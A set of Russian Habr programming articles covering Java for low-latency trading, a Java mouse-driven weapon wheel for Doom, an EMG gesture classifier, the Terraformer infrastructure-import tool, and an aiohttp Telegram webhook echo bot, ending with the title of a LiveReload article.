Проблемы можно дополнительно сгладить, если вы пишете систему, в которой используется процесс непрерывной интеграции и доставки (CI/CD), потому что CI/CD [позволяет автоматически развертывать](https://www.clouddefense.ai/blog/continuous-integration-vs-continuous-delivery) протестированные изменения кода. Дело в том, что CI/CD позволяет пошагово подходить к снижению задержки на уровне сборщика мусора, благодаря чему Java можно постепенно улучшать и подгонять к конкретным аппаратным окружениям без ресурсозатратной подготовки кода в соответствии с разными аппаратными спецификациями, что пришлось бы заблаговременно делать перед его сдачей.
Поскольку IDE в Java поддерживаются гораздо полнее, чем в C++, в большинстве сред (Eclipse, IntelliJ, IDEA) вы сможете рефакторить Java. Это значит, что большинство IDE позволят вам оптимизировать код для снижения задержек – а при работе с C++ такие возможности до сих пор ограничены.
Пусть Java и не сравнится с C++ по чистой производительности, большинство разработчиков могут достичь приемлемой производительности на Java гораздо легче, чем достигли бы на C++. Реально задержка убивается на отрезке «у меня есть идея – я выразил ее в коде».
Что такое «быстрее»?
--------------------
На самом деле, есть немало причин задуматься, на самом ли деле С++ «быстрее» Java, и «меньше» ли в самом деле задержки на нем. Я сознаю, что здесь уже углубляюсь в дебри, и многие разработчики хотят спросить, а не брежу ли я. Но разрешите я доскажу.
Во-первых, есть (слегка абсурдная) точка зрения, что, если у вас есть два разработчика, один из которых пишет на C++, а другой на Java, и обоим вы дадите задачу написать платформу для высокоскоростного трейдинга с нуля, то Java-разработчик перейдет к трейдингу гораздо раньше, чем C++-разработчик. Те, кто программировал на обоих этих языках, понимают, почему: просто в Java гораздо реже встречается неопределенное поведение, чем в C++. Ограничусь всего одним примером: выход индекса за пределы массива – это ошибка как в Java, так и в C++. Если случайно сделать такое в C++, то можно получить ошибку сегментации или (чаще) какое-то случайное число, которое даже опытному разработчику ничего не скажет. В Java при выходе индекса за пределы массива всегда выбрасывается `ArrayIndexOutOfBoundsException`. Поэтому отладка в Java гораздо проще, так как все ошибки обычно вскрываются немедленно, и местоположение бага легче отследить.
Кроме того, как минимум, по моему опыту, Java (в большинстве окружений) просто лучше распознает, какие фрагменты кода выполнять не обязательно, а какие критичны для функционирования программы. Разумеется, можно днями отлаживать ваш код на C++, пока в нем не останется ровно ничего лишнего, но в реальной жизни любая программа немного разбухшая, и Java лучше распознает такие излишки автоматически.
То есть, в реальном мире Java зачастую быстрее С++, даже при стандартном подходе к изменению задержки. А там, где С++ быстрее Java, разница в задержке между языками зачастую поглощается другими факторами и становится совершенно несущественной, даже в такой области, как высокочастотный трейдинг. Например, проделана большая работа по снижению задержки в 5G-сетях — по данным некоторых аналитиков, она [уменьшилась до 1 мс](https://privacycanada.net/5g-canada/), но в программировании под низкие задержки и такие цифры заметно сказываются на производительности.
Преимущества Java в системах с низкой задержкой
-----------------------------------------------
Считаю, что в совокупности все эти факторы вполне неоспоримо свидетельствуют в пользу удобства Java для создания платформ высокоскоростного трейдинга (а, в самом деле – и для любых систем с низкой задержкой, подробнее об этом чуть ниже).
Но, чтобы еще немножечко поколебать энтузиастов C++, давайте пробежимся еще по нескольким доводам в пользу Java:
* Во-первых, как уже было показано выше, любые излишние задержки, которые Java привносит в вашу программу, наверняка гораздо ниже, чем уже имеющиеся – например, задержки при сетевой коммуникации в (как минимум) такой системе, где сделка должна быть полностью проведена, прежде, чем завершиться. Это значит, что любой (качественный) код на Java в большинстве трейдинговых ситуаций может работать так же быстро, как и код на C++.
* Разработка на Java требует меньше времени, и это также означает, что программы, написанные на Java, можно быстрее приспосабливать к аппаратным изменениям (или даже новаторским трейдинговым стратегиям), чем программы на C++.
* Развивая эту мысль, увидим, что даже оптимизация программы на Java может пойти быстрее — если рассматривать ее в контексте всей программы — чем при решении эквивалентной задачи на C++. Как рассказал [InfoQ](https://www.infoq.com/articles/low-latency-vp/) Питер Лоури, Java-консультант, интересующийся низкими задержками и системами с высокой пропускной способностью, “если ваше приложение тратит 90% времени на выполнение 10% вашего кода, то на Java оптимизировать эти 10% сложнее, зато легче написать и поддерживать 90% остального кода, особенно если способности специалистов в вашей команде разнятся.”
Иными словами, можно писать на Java от машинного уровня и выше так, чтобы задержки были низкими. Просто нужно писать на Java как на C++, на каждом этапе разработки не забывая об управлении памятью. Преимущество *отказа* от C++ как такового в том, что отладка, гибкая разработка и приспосабливание к множеству сред в Java происходит быстрее и удобнее.
Ну так что?
-----------
Если вы дочитали до этого абзаца и разрабатываете системы для трейдинга с низкой задержкой, то, вероятно, задумались, а касается ли вас все вышесказанное. Ответ (за немногочисленными исключениями) – да.
Спор о том, как добиться низкой задержки, не нов, и актуален не только в мире финансов. Поэтому здесь можно извлечь ценные уроки и для других ситуаций. В частности, приведенный выше аргумент, что Java «лучше» по причине большей гибкости, надежности, быстроты разработки и поддержки – применим во многих областях программирования.
Причины, по которым (лично я) предпочитаю писать системы с низкой задержкой на Java – те же самые, что обеспечивают успех этого языка [на протяжении последних 25 лет](https://stackoverflow.blog/2020/07/30/java-at-25-features-that-made-an-impact-and-a-look-to-the-future/). Код на Java легко писать, компилировать, отлаживать и изучать, а значит, вы потратите меньше времени на написание кода, и у вас останется больше времени на оптимизацию задержек. В конечном итоге, это надежно позволит создавать более быстрые трейдинговые системы. А это как раз важнее всего. | https://habr.com/ru/post/586870/ | null | ru | null |
# Weapon wheel в Doom 1993
Приветствую.
Многие из нас с теплотой относятся к олдскульным видеоиграм, вышедшим на стыке веков. У них превосходная атмосфера, бешеная динамика и множество оригинальных решений, которые не устарели спустя десятилетия. Однако в наши дни видение интерфейса игр несколько изменилось — на смену запутанным уровням пришли линейные коридоры, на смену аптечкам — регенерация, а вместо длинного ряда клавиш 0-9 для выбора арсенала пришли сначала колесико мыши, а затем — виртуальное колесо. Именно о нем сегодня и пойдет речь.
### Историческая сводка
Раньше, во время появления жанра шутеров как таковых, вопрос об управлении мышкой не стоял — для управления протагонистом использовалась только клавиатура. Причем единого формата управления тоже не было — WASD стал стандартом чуть позднее. Более подробно о старых игровых раскладках клавиатуры можно почитать вот [тут](https://habr.com/ru/post/369499/).
Соответственно, в тех играх, где была реализована возможность выбора снаряжения (Doom, Wolfenstein, Quake etc) был реализован единственным интуитивным на тот момент способом — с помощью цифровых клавиш на клавиатуре. И на многие годы этот способ был единственным.
Потом, в конце 90х годов, появилась возможность смены вооружения колесиком мышки.
Однозначной информации на эту тему найти не удалось, однако в CS 1.6 такая возможность включалась через консоль. Впрочем, возможно такие прецеденты были и ранее — в таком случае, просьба указать на это в комментариях или в ЛС. А вот в привычном в наше время виде Weapon Wheel вошло в использование лишь с Crysis'ом и его Suit menu, Хотя попытки сделать нечто похожее были начиная с HL2, в массы «колесо» пошло лишь в конце 00х годов, а сейчас — является мейнстримом.
Впрочем, это лишь историческая сводка, представляющая интерес только в качестве истории. В рамках данной статьи не будет пространных рассуждений о причинах популярности того или иного решения. а так же вкусовщины о том, какой селектор лучше. Просто потому, что ниже будет описан процесс адаптации старого-доброго Doom к выбору орудия с помощью мышки.
### Постановка задач
Для того, что бы реализовать WW, нужно каким-либо образом перехватывать движения мышки, отслеживать ее перемещение, пока зажата клавиша селектора, и, по отпусканию, эмулировать нажатие на кнопку, соответствующую выбранному сектору.
Для этого мной был использован язык Java, в частности, перехват клавиш осуществляется за счет библиотеки jnativehook, а нажатие — за счет awt.Robot. Обработка полученных хуков не представляет сложностей, поэтому производится вручную.
### Реализация
Предварительно были разработаны классы, задающие пары координат, для определния вектора смещения.
В частности, класс Shift позволяет хранить двумерный вектор, а также — определять его длину, а класс NormalisedShift, разработанный для хранения нормализованного вектора, помимо прочего, позволяет определить угол между перехваченным вектором и вектором (1,0).
**Заголовок спойлера**
```
class Shift{
int xShift;
int yShift;
public int getxShift() {
return xShift;
}
public int getyShift() {
return yShift;
}
public void setxShift(int xShift) {
this.xShift = xShift;
}
public void setyShift(int yShift) {
this.yShift = yShift;
}
double getLenght(){
return Math.sqrt(xShift*xShift+yShift*yShift);
}
}
class NormalisedShift{
double normalizedXShift;
double normalizedYShift;
double angle;
NormalisedShift (Shift shift){
if (shift.getLenght()>0)
{
normalizedXShift = -shift.getxShift()/shift.getLenght();
normalizedYShift = -shift.getyShift()/shift.getLenght();
}
else
{
normalizedXShift = 0;
normalizedYShift = 0;
}
}
void calcAngle(){
angle = Math.acos(normalizedXShift);
}
double getAngle(){
calcAngle();
return (normalizedYShift<0?angle*360/2/Math.PI:360-angle*360/2/Math.PI);
};
};
```
Особого интереса они не представляют, и комментарий требуют только строки 73-74, нормализующие вектор. Помимо всего прочего, вектор переворачивается. у нег меняется система отсчета — дело в том, что с точки зрения программного обеспечения и с точки зрения привычной математики вектора *традиционно* направляют по разному. Именно поэтому вектора класса Shift имеют начало координат слева сверху, а класса NormalizedShift — слева снизу.
Для реализации работы программы был реализован класс Wheel, реализующий интерфейсы NativeMouseMotionListener и NativeKeyListener. Код — под спойлером.
**Заголовок спойлера**
```
public class Wheel implements NativeMouseMotionListener, NativeKeyListener {
final int KEYCODE = 15;
Shift prev = new Shift();
Shift current = new Shift();
ButtomMatcher mathcer = new ButtomMatcher();
boolean wasPressed = false;
@Override
public void nativeMouseMoved(NativeMouseEvent nativeMouseEvent) {
current.setxShift(nativeMouseEvent.getX());
current.setyShift(nativeMouseEvent.getY());
}
@Override
public void nativeMouseDragged(NativeMouseEvent nativeMouseEvent) {
}
@Override
public void nativeKeyTyped(NativeKeyEvent nativeKeyEvent) {
}
@Override
public void nativeKeyPressed(NativeKeyEvent nativeKeyEvent) {
if (nativeKeyEvent.getKeyCode()==KEYCODE){
if (!wasPressed)
{
prev.setxShift(current.getxShift());
prev.setyShift(current.getyShift());
}
wasPressed = true;
}
}
@Override
public void nativeKeyReleased(NativeKeyEvent nativeKeyEvent) {
if (nativeKeyEvent.getKeyCode() == KEYCODE){
Shift shift = new Shift();
shift.setxShift(prev.getxShift() - current.getxShift());
shift.setyShift(prev.getyShift() - current.getyShift());
NormalisedShift normalisedShift = new NormalisedShift(shift);
mathcer.pressKey(mathcer.getCodeByAngle(normalisedShift.getAngle()));
wasPressed = false;
}
}
```
Разберемся, что тут происходит.
В переменной KEYCODE хранится код клавиши, служащей для вызова селектора. Обычно это TAB, но при необходимости, его можно изменить в коде или — в идеале — подтянуть из файла конфига.
prev хранит положение курсора мыши, которое было на момент вызова селектора. В сurrent поддерживается актуальное положение курсора в настоящий момент времени. Соответственно, при отпускании клавиши селектора происходит вычитание векторов и в переменную shift записывается смещение курсора за время удержания клавиши селектора.
Затем, в строке 140, вектор нормализуется, т.е. приводится к виду, когда его длина близка к единице. После чего, нормализованный вектор передается в матчер, который устанавливает соответствие между кодом клавиши, которую нужно нажать и углом проворота вектора. Из соображений читаемости, угол переводится в градусы, а так же — ориентируется по полному единичному кругу (acos работает только с углами до 180 градусов).
В классе ButtonMatcher определяется соответствие между углом и выбранным кодом клавиши.
**Заголовок спойлера**
```
class ButtomMatcher{
Robot robot;
final int numberOfButtons = 6;
int buttonSection = 360/numberOfButtons;
int baseShift = 90-buttonSection/2;
ArrayList codes = new ArrayList<>();
void matchButtons(){
for (int i =49; i<55; i++)
codes.add(i);
}
int getCodeByAngle(double angle){
angle= (angle+360-baseShift)%360;
int section = (int) angle/buttonSection;
System.out.println(codes.get(section));
return codes.get(section);
}
ButtomMatcher() {
matchButtons();
try
{
robot = new Robot();
}
catch (AWTException e) {
e.printStackTrace();
}
}
void pressKey(int keyPress)
{
robot.keyPress(keyPress);
robot.keyRelease(keyPress);
}
}
```
Кроме того, переменная numberOfButtons определяет количество сектором и соответствующих им кнопок, baseShift задает угол поворота (В частности, обеспечивает симметрию относительно вертикальной оси и проворот колеса на 90 градусов так, что бы орудие ближнего боя было сверху), а массив codes хранит в себе коды клавиш — на случай, если кнопки будут изменены, и коды не будут идти подряд. В более доработанной версии можно было бы подтягивать их из конфигурационного файла, но при стандартном расположении клавиш — текущая версия вполне жизнеспособна.
### Заключение
В рамках данной статьи была описана возможность кастомизации интерфейса классических шутеров для современных стандартов. Конечно, ни аптечек, ни линейности мы тут не добавляем — для этого есть множество модов, но зачастую именно в подобных деталях и кроется дружелюбный и удобный интерфейс. Автор осознает, что, вероятно, описал не самый оптимальный способ достижения требуемого результата, а так же ждет в комментариях картинку с буханкой и троллейбусом, но тем не менее — это был интересный опыт, который, возможно, сподвигнет какого-нибудь геймера открыть для себя удивительный мир Java.
Конструктивная критика приветствуется.
[Исходники](https://github.com/Toxa-p07a1330/Wheel) | https://habr.com/ru/post/508800/ | null | ru | null |
# Захват сигнала мышечной активности в систему машинного обучения
Около полугода назад ко мне пришла идея создания открытого фреймворка для нейроинтерфейсов.
На данном видео захват [ЭМГ](https://ru.wikipedia.org/wiki/%D0%AD%D0%BB%D0%B5%D0%BA%D1%82%D1%80%D0%BE%D0%BC%D0%B8%D0%BE%D0%B3%D1%80%D0%B0%D1%84%D0%B8%D1%8F) сигнала мышц происходит с помощью восьмиканального ЭМГ датчика на предплечье. Таким образом, мы через кожу снимаем нерасшифрованную, усиленную мышцами картину активации двигательных нейронов.
Сырой сигнал с датчика через Bluetooth поступает в [Android/Android Things приложение](https://github.com/cyber-punk-me/nukleos).
Для обучения системы, мы на определенный жест руки будем назначать класс движения. Например, если нам нужно состояние «остановка», а также вращение двух моторов в двух направлениях, всего мы запишем пять жестов. Соберем всё в файлы и отправим на обучение в [нейросеть](https://github.com/cyber-punk-me/emg-nn). На входе сети имеем нервную активность, на выходе — распознанный класс движения.
Пример архитектуры сети на Keras:
```
model = Sequential()
# 8 каналов ЭМГ записаны по 8 раз каждый
model.add(Dense(36, activation='relu', input_dim=64))
model.add(Dense(20, activation='relu'))
model.add(Dropout(0.2))
model.add(Dense(16, activation='relu'))
# 5 записанных жестов
model.add(Dense(5, activation='softmax'))
sgd = SGD(lr=0.01, decay=1e-6, momentum=0.9, nesterov=True)
model.compile(loss='categorical_crossentropy', optimizer=sgd, metrics=['accuracy'])
```
<https://www.kaggle.com/kyr7plus/naive-classifier>
Для связи приложения и нейросети используется [сервер](https://github.com/cyber-punk-me/hivemind). Клиент-серверное решение позволяет легко скриптовать машинное обучение с использованием TensorFlow, не меняя код приложения и избегая постоянных переустановок в процессе отладки.
Использовать полученные классификаторы можно при помощи [TFLite](https://www.tensorflow.org/lite/) либо [TF Serving](https://www.tensorflow.org/serving/)
[**Код системы находится тут**](https://github.com/cyber-punk-me)
В дальнейших планах:
* Cоздание опен сорс многоканального датчика ЭМГ, работающего по USB
* Эксперименты с машинным обучением для повышения надежности управления
Мой друг [garastard](https://habr.com/ru/users/garastard/) рассказывает о наших Андроид приключениях с нейроинтерфейсами в этой [статье](https://habr.com/ru/post/438034/). | https://habr.com/ru/post/437888/ | null | ru | null |
# Terraformer — Infrastructure To Code
Хотел бы рассказать про новый CLI tool который я написал для решения одной старой проблемы.
### Проблема
Terraform уже давно стал стандартом в Devops/Cloud/IT сообществе. Вещь очень удобная и полезная чтоб заниматся infrastructure as code. Есть много прелестей в Terraform а так же много вилок, острых ножей и граблей.
С Terraform очень удобно делать новые вещи и потом ими управлять, менять или удалять. А что делать тем у кого есть огромная инфраструктура в облаке и не создано через Terraform? Переписывать и пересоздавать все облако как то дорого и небезопасно.
Я сталкивался с такой проблемой на 2 работах, самый простой пример когда хочешь что все было в гите виде терраформ файлов, а у тебя 250+ бакетов и писать их для терраформа руками как то много.
Есть [issue](https://github.com/hashicorp/terraform/issues/581) еще с 2014 года в terrafom которую закрыли в 2016 с надеждой что будет import.
Вообщем все как на картинке только справа налево
Предупреждения: Автор пол жизни живет не в России и пишет на русском мало. Осторожно ошибки в орфографии.
### Решения
1. Есть готовое и старое решения для AWS [terraforming](https://github.com/dtan4/terraforming). Когда я пытался через него получить мои 250+ бакетов то понял что там все плохо. AWS уже давно накидали много новых опций а terraforming про них не знает и вообще у него ruby [темплет выглядят скудно](https://github.com/dtan4/terraforming/blob/master/lib/terraforming/template/tf/s3.erb). После 2 вечером я послал [Pull request](https://github.com/dtan4/terraforming/pull/396) чтоб добавить больше возможностей туда и понял что такое решения не подходит вообще.
Как работает terraforming он берет с SDK AWS данные и генерирует tf и tfstate через темплет.
Тут 3 проблемы:
1. Всегда там будет отставания в обновлениях
2. tf файлы иногда выходят битые
3. tfstate собирается отдельно от tf и не всегда сходится
Вообще сложно получит результат при котором `terraform plan` скажет что не изменений
2. `terraform import` — встроенная команда в terraform. Как работает?
Пишешь пустой TF файл с именем и видом ресурса, потом запускаешь `terraform import` и передаешь ID ресурса. terraform обращается к провайдеру получает данные и делает tfstate файл.
Тут 3 проблемы:
1. Получаем только tfstate файл а tf пустой надо руками писать или конвертировать с tfstate
2. Умеет работать только с одним ресурсов каждый раз и не поддерживает все ресурсы. И что мне сново делать с 250+ бакетами
3. Надо знать ID ресурсов — то есть надо обматывать его это в код который достает список ресурсов
Вообще результат частичный и не масштабируется хорошо
### Мое решения
Требования:
1. Возможность создать файлы tf и tfstate по ресурсам. Например скачать все бакеты/security group/load balancer и что `terraform plan` возвращал что нет изменений
2. Надо 2 облака GCP + AWS
3. Глобальное решения которое легко обновлять каждый раз и не тратить время на каждый ресурс по 3 дня работы
4. Сделать Open source — проблема у всех такая
Язык Go — потому я люблю, и на нем есть библиотека для создания HCL файлов которая используется в terraform + много кода в terraform который может быть полезный
### Путь
Попытка первая
Начал простой вариант. Обращения в облако через SDK за нужным ресурсом и конвертирования его в поля для terraform. Попытка умерла сразу на security group потому что мне не понравилось 1.5 дня конвертировать только security group(а ресурсов много). Долго и потом поля могут менять/добавлятся
Попытка вторая
Основано на идеи описанной [тут](https://github.com/hashicorp/terraform/issues/15608). Просто взять и сконвертировать tfstate в tf. Все данные там есть и поля те же. Как получить полный tfstate для много ресурсов?? Тут на помощь пришла команда `terraform refresh`. terraform берет все ресурсы в tfstate и по ID вытаскивает по ним данные и пишет все в tfstate. То есть создать пустой tfstate только с именами и ID, запустить `terraform refresh` то получаем полные tfstate. Ура!
Теперь займемся ~~рекурсивной порнографием~~ написание конвертора для tfstate в tf. Для тех кто никогда не читал tfstate то это JSON, но особенный.
Вот его важная часть attributes
```
"attributes": {
"id": "default/backend-logging-load-deployment",
"metadata.#": "1",
"metadata.0.annotations.%": "0",
"metadata.0.generate_name": "",
"metadata.0.generation": "24",
"metadata.0.labels.%": "1",
"metadata.0.labels.app": "backend-logging",
"metadata.0.name": "backend-logging-load-deployment",
"metadata.0.namespace": "default",
"metadata.0.resource_version": "109317427",
"metadata.0.self_link": "/apis/apps/v1/namespaces/default/deployments/backend-logging-load-deployment",
"metadata.0.uid": "300ecda1-4138-11e9-9d5d-42010a8400b5",
"spec.#": "1",
"spec.0.min_ready_seconds": "0",
"spec.0.paused": "false",
"spec.0.progress_deadline_seconds": "600",
"spec.0.replicas": "1",
"spec.0.revision_history_limit": "10",
"spec.0.selector.#": "1",
```
Тут есть:
1. id — string
2. metadata — array размером 1 и в нем объект с полями который описан ниже
3. spec — hash размером 1 и в нем key,value
Короче веселый формат, все может быть в глубь тоже на несколько уровней
```
"spec.#": "1",
"spec.0.min_ready_seconds": "0",
"spec.0.paused": "false",
"spec.0.progress_deadline_seconds": "600",
"spec.0.replicas": "1",
"spec.0.revision_history_limit": "10",
"spec.0.selector.#": "1",
"spec.0.selector.0.match_expressions.#": "0",
"spec.0.selector.0.match_labels.%": "1",
"spec.0.selector.0.match_labels.app": "backend-logging-load",
"spec.0.strategy.#": "0",
"spec.0.template.#": "1",
"spec.0.template.0.metadata.#": "1",
"spec.0.template.0.metadata.0.annotations.%": "0",
"spec.0.template.0.metadata.0.generate_name": "",
"spec.0.template.0.metadata.0.generation": "0",
"spec.0.template.0.metadata.0.labels.%": "1",
"spec.0.template.0.metadata.0.labels.app": "backend-logging-load",
"spec.0.template.0.metadata.0.name": "",
"spec.0.template.0.metadata.0.namespace": "",
"spec.0.template.0.metadata.0.resource_version": "",
"spec.0.template.0.metadata.0.self_link": "",
"spec.0.template.0.metadata.0.uid": "",
"spec.0.template.0.spec.#": "1",
"spec.0.template.0.spec.0.active_deadline_seconds": "0",
"spec.0.template.0.spec.0.container.#": "1",
"spec.0.template.0.spec.0.container.0.args.#": "3",
```
Вообщем кто хочет задачку на программирования для собеседования то просто попросите написать парсер на это дело :)
После долгих попыток написать парсер без багов я нашел часть его в коде terraform причем самую важную часть. И все вроде работало норм
Попытка три
terraform provider — это бинарки в которых есть код со всеми ресурсами и логикой для работы с API облаков. У каждого облака есть свой provider и сам terraform только вызывает их через свой протокол RPC между двумя процессами.
Теперь я решил обращаться напрямую к terraform providers через RPC вызовы. Так вышло красиво и дало возможность менять terraform providers на более новые и получать новые возможность не меняя код. Еще оказалось не все поля в tfstate должны быть в tf, а как это узнать? Только спросить provider об этом. Потом началась еще одна ~~рекурсивной порнографием по сборки регулярных выражений~~ канитель с поиском полей внутри tfstate на всех уровнях в глубь.
В конце получилось полезный CLI tool у которого общая инфраструктура для всех terraform providers и можно легко добавить нового. Также добавления ресурсов занимает мало кода. Плюс всякие плюшки типа соединения между ресурсами. Конечно было много разных проблем которые все не описать.
Назвал зверушку Terrafomer.
### Финал
Мы с помощью Terrafomer сгенерировали 500-700 тысяч строк кода tf + tfstate c двух облаках. Смогли взять легаси вещи и начать их трогать только через terraform как в лучших идеях infrastructure as code. Просто магия когда берешь огромное облако и получаешь через команду его в виде terraform файлов рабочих. А дальше grep/replace/git и так далее.
Вычесал и привел в порядок, получил разрешения. Выпустил на гитхаб для всех в четверг(02.05.19). [github.com/GoogleCloudPlatform/terraformer](https://github.com/GoogleCloudPlatform/terraformer)
Получил уже 600 звезд, 2 pull requests добавления поддержки openstack и kubernetes. Хорошие отзывы. Вообще проект полезный для людей
Советую всем кто хочет начать работать с Terraform и не переписывать все для этого.
Буду рад pull requests, issues, stars.
Демо
[](https://asciinema.org/a/243961)
Обновления: прикрутили минимальную поддержку Openstack и почти готова поддержка kubernetes, спасибо людям за PRs | https://habr.com/ru/post/450410/ | null | ru | null |
# Telegram-бот, webhook и 50 строк кода
Как, опять? Ещё один туториал, пережёвывающий официальную документацию от Telegram, подумали вы? Да, но нет! Это скорее рассуждения на тему того, как построить функциональный бот-сервис используя *Python3.5+*, *asyncio* и *aiohttp*. Тем интереснее, что заголовок на самом деле лукавит…
Так в чём же лукавство заголовка? Во-первых, кода не 50 строк, а всего 39, а во-вторых, и бот не такой сложный, просто эхо-бот. Но, как мне кажется, этого достаточно, чтобы поверить в то, что сделать свой собственный бот-сервис не столь сложно, как может показаться.
**Telegram-bot в 39 строк кода**
```
import asyncio
import aiohttp
from aiohttp import web
import json
TOKEN = '111111111:AAHKeYAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
API_URL = 'https://api.telegram.org/bot%s/sendMessage' % TOKEN
async def handler(request):
data = await request.json()
headers = {
'Content-Type': 'application/json'
}
message = {
'chat_id': data['message']['chat']['id'],
'text': data['message']['text']
}
async with aiohttp.ClientSession(loop=loop) as session:
async with session.post(API_URL,
data=json.dumps(message),
headers=headers) as resp:
try:
assert resp.status == 200
except:
return web.Response(status=500)
return web.Response(status=200)
async def init_app(loop):
app = web.Application(loop=loop, middlewares=[])
app.router.add_post('/api/v1', handler)
return app
if __name__ == '__main__':
loop = asyncio.get_event_loop()
try:
app = loop.run_until_complete(init_app(loop))
web.run_app(app, host='0.0.0.0', port=23456)
except Exception as e:
print('Error create server: %r' % e)
finally:
pass
loop.close()
```
Далее, в нескольких словах, что для чего и как сделать лучше из того, что уже есть.
Содержание:
-----------
1. [Что используем](#content1)
2. [Как используем](#content2)
3. [Что можно улучшить](#content3)
4. [Реальный мир](#content4)
1. Что используем
-----------------
* во-первых, **Python 3.5+**. Почему именно 3.5+, потому что asyncio [[2]](#source) и потому что сахарные *async*, *await* etc;
* во-вторых, **aiohttp**. Так как сервис на вебхуках, то он одновременно и HTTP-сервер и HTTP-клиент, а что для этого использовать, как не aiohttp [[3]](#source);
* в-третьих, почему *webhook*, а не *long polling*? Если не планируется изначально бот-рассыльщик, то интерактивность является его основной функцией. Выскажу своё мнение, что для этой задачи, бот в роли HTTP-сервера подходит лучше, чем в роли клиента. Да, и отдадим часть работы (доставку сообщений) сервисам Telegram.
И ещё, у вас должно быть подконтрольное доменное имя, валидный или самоподписанный сертификат. Доступ к серверу на который указывает доменное имя для настройки реверс-прокси на адрес сервиса.
[К содержанию](#content)
2. Как используем
-----------------
### Сервер
Состояние библиотеки *aiohttp* на текущий момент таково, что с её использованием можно построить полноценный web-сервер в Джанго-стиле [[4]](#source).
Для *standalone*-сервиса вся мощь не пригодится, поэтому создание сервера ограничивается несколькими строками.
Инициализируем веб-приложение:
```
async def init_app(loop):
app = web.Application(loop=loop, middlewares=[])
app.router.add_post('/api/v1', handler)
return app
```
**N.B.** Обратите внимание, что здесь мы определяем роутинг и задаём обработчик входящих сообщений *handler*.
И стартуем веб-сервер:
```
app = loop.run_until_complete(init_app(loop))
web.run_app(app, host='0.0.0.0', port=23456)
```
### Клиент
Для отправки сообщения используем метод *sendMessage* из Telegram API, для этого необходимо отправить на оформленный должным образом URL POST-запрос с параметрами в виде JSON-объекта. И это мы делаем с помощью aiohttp:
```
TOKEN = '111111111:AAHKeYAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
API_URL = 'https://api.telegram.org/bot%s/sendMessage' % TOKEN
...
async def handler(request):
data = await request.json()
headers = {
'Content-Type': 'application/json'
}
message = {
'chat_id': data['message']['chat']['id'],
'text': data['message']['text']
}
async with aiohttp.ClientSession(loop=loop) as session:
async with session.post(API_URL,
data=json.dumps(message),
headers=headers) as resp:
try:
assert resp.status == 200
except:
return web.Response(status=500)
return web.Response(status=200)
```
**N.B.** Обратите внимание, что в случае успешной обработки входящего сообщения и удачной отправки «эха», обработчик возвращает пустой ответ со статусом HTTP 200. Если этого не сделать, сервисы Telegram продолжат в течение какого-то времени «дёргать» запросами хук, либо пока не получат в ответ 200, либо пока не истечёт определённое для сообщения время.
[К содержанию](#content)
3. Что можно улучшить
---------------------
Совершенству нет предела, пара идей, как сделать сервис функциональней.
### Используем middleware
Допустим, возникла необходимость фильтровать входящие сообщения. Препроцессинг сообщений можно сделать на специальных веб-обработчиках, в терминах *aiohtttp* — это *middlewares* [[5]](#source).
Пример, определяем мидлварь для игнора сообщений от пользователей из черного списка:
```
async def middleware_factory(app, handler):
async def middleware_handler(request):
data = await request.json()
if data['message']['from']['id'] in black_list:
return web.Response(status=200)
return await handler(request)
return middleware_handler
```
И добавляем обработчик при инициализации web-приложения:
```
async def init_app(loop):
app = web.Application(loop=loop, middlewares=[])
app.router.add_post('/api/v1', handler)
app.middlewares.append(middleware_factory)
return app
```
### Мысли по поводу обработки входящих сообщений
Если бот будет сложнее, чем репитер-попугай, то можно предложить следующую иерархию объектов *Api* → *Conversation* → *CustomConversation*.
Псевдокод:
```
class Api(object):
URL = 'https://api.telegram.org/bot%s/%s'
def __init__(self, token, loop):
self._token = token
self._loop = loop
async def _request(self, method, message):
headers = {
'Content-Type': 'application/json'
}
async with aiohttp.ClientSession(loop=self._loop) as session:
async with session.post(self.URL % (self._token, method),
data=json.dumps(message),
headers=headers) as resp:
try:
assert resp.status == 200
except:
pass
async def sendMessage(self, chatId, text):
message = {
'chat_id': chatId,
'text': text
}
await self._request('sendMessage', message)
class Conversation(Api):
def __init__(self, token, loop):
super().__init__(token, loop)
async def _handler(self, message):
pass
async def handler(self, request):
message = await request.json()
asyncio.ensure_future(self._handler(message['message']))
return aiohttp.web.Response(status=200)
class EchoConversation(Conversation):
def __init__(self, token, loop):
super().__init__(token, loop)
async def _handler(self, message):
await self.sendMessage(message['chat']['id'],
message['text'])
```
Наследуя от *Conversation* и переопределяя *\_handler* получаем кастомные обработчики, в зависимости от функциональности бота — погодный, финансовый etc.
И наш сервис превращается в ферму:
```
echobot = EchoConversation(TOKEN1, loop)
weatherbot = WeatherConversation(TOKEN2, loop)
finbot = FinanceConversation(TOKEN3, loop)
...
app.router.add_post('/api/v1/echo', echobot.handler)
app.router.add_post('/api/v1/weather', weatherbot.handler)
app.router.add_post('/api/v1/finance', finbot.handler)
```
[К содержанию](#content)
4. Реальный мир
---------------
### Регистрация webhook
Создаём *data.json*:
```
{
"url": "https://bots.domain.tld/api/v1/echo"
}
```
И вызываем соответствующий метод API любым доступным способом, например:
```
curl -X POST -d @data.json -H "Content-Type: application/json" "https://api.telegram.org/botYOURBOTTOKEN/setWebhook"
```
**N.B.** Ваш домен, хук на который вы устанавливаете, должен резолвится, иначе метод setWebhook не отработает.
### Используем прокси-сервер
Как говорит документация: *ports currently supported for Webhooks: 443, 80, 88, 8443.*
Как же быть в случае self-hosted, когда необходимые порты уже скорее всего заняты веб-сервером, да и соединение по HTTPS мы в нашем сервисе не настроили?
Ответ простой, запуск сервиса на любом доступном локальном интерфейсе и использование реверс-прокси, и лучше *nginx* здесь сложно найти что-то другое, пусть он возьмёт на себя задачу организации HTTPS-соединения и переадресацию запросов нашему сервису.
[К содержанию](#content)
Заключение
----------
Надеюсь, что работа с ботом через вебхуки не показалась сильно сложнее long polling, как по мне так даже проще, гибче и прозрачнее. Дополнительные расходы на организацию сервера не должны пугать настоящего ботовода.
Пусть ваши идеи находят достойный инструмент для реализации.
Полезное:
---------
1. [Telegram Bot API](https://core.telegram.org/bots/api)
2. [18.5. asyncio — Asynchronous I/O, event loop, coroutines and tasks](https://docs.python.org/3/library/asyncio.html)
3. [aiohttp: Asynchronous HTTP Client/Server](http://aiohttp.readthedocs.io/en/stable/)
4. [aiohttp: Server Tutorial](http://aiohttp.readthedocs.io/en/stable/tutorial.html)
5. [aiohttp: Server Usage — Middlewares](http://aiohttp.readthedocs.io/en/stable/web.html#aiohttp-web-middlewares) | https://habr.com/ru/post/322078/ | null | ru | null |
# LiveReload — обновление javascript без полной перезагрузки страницы (на примере mithril)
#### Вступление
